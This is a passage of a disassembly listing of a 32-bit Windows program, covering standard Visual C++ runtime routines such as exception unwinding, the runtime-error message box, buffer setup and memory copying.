		jz	short loc_41D2A8
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D2A6
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D2E2
		call	dword ptr [ebx+esi*4+8]


loc_41D2A6:				; CODE XREF: sub_41D24E+44j
		jmp	short loc_41D26B
; ---------------------------------------------------------------------------


loc_41D2A8:				; CODE XREF: sub_41D24E+2Aj
					; sub_41D24E+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D24E	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_41D22C
		jnz	short locret_41D2D8
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D2D8
		mov	eax, 1

locret_41D2D8:				; CODE XREF: ___:0041D2C6j
					; ___:0041D2D1j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_43BAD8
		jmp	short loc_41D2EC

; =============== S U B	R O U T	I N E =======================================



sub_41D2E2	proc near		; CODE XREF: sub_41D24E+4Fp
					; sub_41D304+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43BAD8
		mov	ecx, [ebp+8]


loc_41D2EC:				; CODE XREF: ___:0041D2E0j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D2E2	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D304	proc near		; DATA XREF: sub_41BC2B+Ao
					; sub_41D6F3+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D3A4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D337:				; CODE XREF: sub_41D304+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D39D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D38B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D38B
		js	short loc_41D396
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D20C
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D24E
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D2E2
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D38B:				; CODE XREF: sub_41D304+40j
					; sub_41D304+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D337
; ---------------------------------------------------------------------------


loc_41D396:				; CODE XREF: sub_41D304+54j
		mov	eax, 0
		jmp	short loc_41D3B9
; ---------------------------------------------------------------------------


loc_41D39D:				; CODE XREF: sub_41D304+36j
		mov	eax, 1
		jmp	short loc_41D3B9
; ---------------------------------------------------------------------------


loc_41D3A4:				; CODE XREF: sub_41D304+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D24E
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D3B9:				; CODE XREF: sub_41D304+97j
					; sub_41D304+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D304	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D24E
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41D3DC	proc near		; CODE XREF: sub_4191E5+9p
		mov	eax, dword_5158D8
		cmp	eax, 1
		jz	short loc_41D3F3
		test	eax, eax
		jnz	short locret_41D414
		cmp	dword_43B594, 1
		jnz	short locret_41D414


loc_41D3F3:				; CODE XREF: sub_41D3DC+8j
		push	0FCh
		call	sub_41D415
		mov	eax, dword_515A30
		pop	ecx
		test	eax, eax
		jz	short loc_41D409
		call	eax


loc_41D409:				; CODE XREF: sub_41D3DC+29j
		push	0FFh
		call	sub_41D415
		pop	ecx

locret_41D414:				; CODE XREF: sub_41D3DC+Cj
					; sub_41D3DC+15j
		retn
sub_41D3DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D415	proc near		; CODE XREF: sub_4191E5+12p
					; sub_41D3DC+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BAE8


loc_41D428:				; CODE XREF: sub_41D415+20j
		cmp	edx, [eax]
		jz	short loc_41D437
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BB78
		jl	short loc_41D428


loc_41D437:				; CODE XREF: sub_41D415+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BAE8[esi]
		jnz	loc_41D565
		mov	eax, dword_5158D8
		cmp	eax, 1
		jz	loc_41D53F
		test	eax, eax
		jnz	short loc_41D468
		cmp	dword_43B594, 1
		jz	loc_41D53F


loc_41D468:				; CODE XREF: sub_41D415+44j
		cmp	edx, 0FCh
		jz	loc_41D565
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 7C80B4CFh
		test	eax, eax
		jnz	short loc_41D49F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_417A00
		pop	ecx
		pop	ecx


loc_41D49F:				; CODE XREF: sub_41D415+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AF0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41D4E2
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AF0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_4182F0
		add	esp, 10h


loc_41D4E2:				; CODE XREF: sub_41D415+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_417A00
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_417A10
		lea	eax, [ebp+var_A0]
		push	offset asc_4219C0 ; "\n\n"
		push	eax
		call	sub_417A10
		push	off_43BAEC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417A10
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41EE5D
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D565
; ---------------------------------------------------------------------------


loc_41D53F:				; CODE XREF: sub_41D415+3Cj
					; sub_41D415+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BAEC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AF0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 7C812F39h
		push	eax
		nop
		call	near ptr 7C810D87h


loc_41D565:				; CODE XREF: sub_41D415+2Ej
					; sub_41D415+59j ...
		pop	esi
		leave
		retn
sub_41D415	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; CODE XREF: sub_41922E+6Cp
					; sub_41B582+32p ...

arg_0		= dword	ptr  4

		inc	dword_515A34
		push	1000h
		call	sub_417BEE
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D591
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D5A2
; ---------------------------------------------------------------------------


loc_41D591:				; CODE XREF: sub_41D568+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D5A2:				; CODE XREF: sub_41D568+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D568	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5AC	proc near		; CODE XREF: sub_41922E+61p
					; sub_41C981+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_516C80
		jb	short loc_41D5BB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D5BB:				; CODE XREF: sub_41D5AC+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_516B80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D5AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5D2	proc near		; DATA XREF: ___:00423014o
		mov	eax, dword_516B60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D5E6
		mov	eax, 200h
		jmp	short loc_41D5EC
; ---------------------------------------------------------------------------


loc_41D5E6:				; CODE XREF: sub_41D5D2+Bj
		cmp	eax, esi
		jge	short loc_41D5F1
		mov	eax, esi


loc_41D5EC:				; CODE XREF: sub_41D5D2+12j
		mov	dword_516B60, eax


loc_41D5F1:				; CODE XREF: sub_41D5D2+16j
		push	4
		push	eax
		call	sub_41EEE6
		pop	ecx
		mov	dword_515B4C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D625
		push	4
		push	esi
		mov	dword_516B60, esi
		call	sub_41EEE6
		pop	ecx
		mov	dword_515B4C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D625
		push	1Ah
		call	sub_4191E5
		pop	ecx


loc_41D625:				; CODE XREF: sub_41D5D2+30j
					; sub_41D5D2+49j
		xor	ecx, ecx
		mov	eax, offset off_43BB78


loc_41D62C:				; CODE XREF: sub_41D5D2+6Ej
		mov	edx, dword_515B4C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BDF8
		jl	short loc_41D62C
		xor	edx, edx
		mov	ecx, offset dword_43BB88


loc_41D649:				; CODE XREF: sub_41D5D2+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_516B80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D666
		test	eax, eax
		jnz	short loc_41D669


loc_41D666:				; CODE XREF: sub_41D5D2+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41D669:				; CODE XREF: sub_41D5D2+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BBE8
		jl	short loc_41D649
		pop	esi
		retn
sub_41D5D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D677	proc near		; DATA XREF: ___:00423020o

; FUNCTION CHUNK AT 0041EF63 SIZE 00000058 BYTES

		call	sub_41B50C
		cmp	byte_5158C4, 0
		jz	short locret_41D68A
		jmp	loc_41EF63
; ---------------------------------------------------------------------------

locret_41D68A:				; CODE XREF: sub_41D677+Cj
		retn
sub_41D677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D68B	proc near		; CODE XREF: sub_419343+2D4p
					; sub_419343+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D697
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D697:				; CODE XREF: sub_41D68B+8j
		cmp	dword_5158EC, 0
		jnz	short loc_41D6B2
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D6E4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D6B2:				; CODE XREF: sub_41D68B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43B7AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_5158FC
		nop
		call	near ptr 7C80A0D4h
		test	eax, eax
		jz	short loc_41D6E4
		cmp	[ebp+arg_0], 0
		jz	short loc_41D6F1


loc_41D6E4:				; CODE XREF: sub_41D68B+1Ej
					; sub_41D68B+51j
		mov	dword_515884, 2Ah
		or	eax, 0FFFFFFFFh


loc_41D6F1:				; CODE XREF: sub_41D68B+57j
		pop	ebp
		retn
sub_41D68B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6F3	proc near		; CODE XREF: sub_419B4D+5Ep
					; sub_41C23B+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A00
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_515A38
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D762
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4216A0
		push	esi
		nop
		call	near ptr 7C80A490h
		test	eax, eax
		jz	short loc_41D740
		mov	eax, esi
		jmp	short loc_41D75D
; ---------------------------------------------------------------------------


loc_41D740:				; CODE XREF: sub_41D6F3+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_441700
		push	esi
		push	ebx
		nop
		call	near ptr 7C838A0Ch
		test	eax, eax
		jz	loc_41D828
		push	2
		pop	eax


loc_41D75D:				; CODE XREF: sub_41D6F3+4Bj
		mov	dword_515A38, eax


loc_41D762:				; CODE XREF: sub_41D6F3+2Fj
		cmp	eax, 2
		jnz	short loc_41D78B
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41D773
		mov	eax, dword_5158EC


loc_41D773:				; CODE XREF: sub_41D6F3+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 7C838A0Ch
		jmp	loc_41D82A
; ---------------------------------------------------------------------------


loc_41D78B:				; CODE XREF: sub_41D6F3+72j
		cmp	eax, 1
		jnz	loc_41D828
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41D7A1
		mov	eax, dword_5158FC
		mov	[ebp+arg_10], eax


loc_41D7A1:				; CODE XREF: sub_41D6F3+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 7C809BF8h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41D828
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417430
		add	esp, 0Ch
		jmp	short loc_41D7F7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41D7F7:				; CODE XREF: sub_41D6F3+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D828
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 7C809BF8h
		cmp	eax, ebx
		jz	short loc_41D828
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80A490h
		jmp	short loc_41D82A
; ---------------------------------------------------------------------------


loc_41D828:				; CODE XREF: sub_41D6F3+61j
					; sub_41D6F3+9Bj ...
		xor	eax, eax


loc_41D82A:				; CODE XREF: sub_41D6F3+93j
					; sub_41D6F3+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D6F3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D840	proc near		; CODE XREF: sub_419C82+2EEp
					; sub_41C8F5+1Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D860
		cmp	edi, eax
		jb	loc_41D9D8


loc_41D860:				; CODE XREF: sub_41D840+16j
		test	edi, 3
		jnz	short loc_41D87C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------


loc_41D87C:				; CODE XREF: sub_41D840+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D894
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D89C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D894:				; CODE XREF: sub_41D840+46j
		jmp	dword ptr loc_41D998[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D89C:				; CODE XREF: sub_41D840+31j
					; sub_41D840+8Ej ...
		jmp	off_41D91C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D8B0
		dd offset loc_41D8DC
		dd offset loc_41D900
; ---------------------------------------------------------------------------


loc_41D8B0:				; DATA XREF: sub_41D840+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D8DC:				; DATA XREF: sub_41D840+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D900:				; DATA XREF: sub_41D840+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D89C
		rep movsd
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D91C	dd offset loc_41D97F	; DATA XREF: sub_41D840:loc_41D89Cr
		dd offset loc_41D96C
		dd offset loc_41D964
		dd offset loc_41D95C
		dd offset loc_41D954
		dd offset loc_41D94C
		dd offset loc_41D944
		dd offset loc_41D93C
; ---------------------------------------------------------------------------


loc_41D93C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D944:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D94C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D954:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D95C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D964:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D96C:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D97F:				; CODE XREF: sub_41D840:loc_41D89Cj
					; DATA XREF: sub_41D840:off_41D91Co
		jmp	off_41D988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D988	dd offset loc_41D998	; DATA XREF: sub_41D840+35r
					; sub_41D840+92r ...
		dd offset loc_41D9A0
		dd offset loc_41D9AC
		dd offset loc_41D9C0
; ---------------------------------------------------------------------------


loc_41D998:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D9A0:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D9AC:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D9C0:				; CODE XREF: sub_41D840+35j
					; sub_41D840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D9D8:				; CODE XREF: sub_41D840+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41DA0C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41DA00:				; CODE XREF: sub_41D840+1B1j
					; sub_41D840+208j ...
		neg	ecx
		jmp	dword ptr loc_41DACF+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41DA0C:				; CODE XREF: sub_41D840+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41DA24
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41DA24+4[eax*4]
; ---------------------------------------------------------------------------


loc_41DA24:				; CODE XREF: sub_41D840+1D6j
					; DATA XREF: sub_41D840+1DDr
		jmp	off_41DB20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41DA37+1
; ---------------------------------------------------------------------------
		pop	eax
		fiadd	dword ptr [ecx+0]
		sbb	dl, 41h


loc_41DA37:				; DATA XREF: sub_41D840+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41DA00
		std
		rep movsd
		cld
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41DAD4
		dd offset loc_41DADC
		dd offset loc_41DAE4
		dd offset loc_41DAEC
		dd offset loc_41DAF4
; ---------------------------------------------------------------------------
		cld
		fiadd	dword ptr [ecx+0]
		add	al, 0DBh
		inc	ecx


loc_41DACF:				; DATA XREF: sub_41D840+1C2r
		add	[edi], dl
		fild	dword ptr [ecx+0]


loc_41DAD4:				; DATA XREF: sub_41D840+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41DADC:				; DATA XREF: sub_41D840+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41DAE4:				; DATA XREF: sub_41D840+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41DAEC:				; DATA XREF: sub_41D840+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41DAF4:				; DATA XREF: sub_41D840+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41DB17:				; CODE XREF: sub_41D840+1C2j
		jmp	off_41DB20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41DB20	dd offset loc_41DB30	; DATA XREF: sub_41D840+1B7r
					; sub_41D840:loc_41DA24r ...
		dd offset loc_41DB38
		dd offset loc_41DB48
		dd offset loc_41DB5C
; ---------------------------------------------------------------------------


loc_41DB30:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41DB38:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41DB48:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41DB5C:				; CODE XREF: sub_41D840+1B7j
					; sub_41D840:loc_41DA24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB75	proc near		; CODE XREF: sub_41A824+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DB98
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DB98
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DB9E
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DB98
		mov	[eax], bx


loc_41DB98:				; CODE XREF: sub_41DB75+Cj
					; sub_41DB75+11j ...
		xor	eax, eax


loc_41DB9A:				; CODE XREF: sub_41DB75+42j
					; sub_41DB75+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DB9E:				; CODE XREF: sub_41DB75+17j
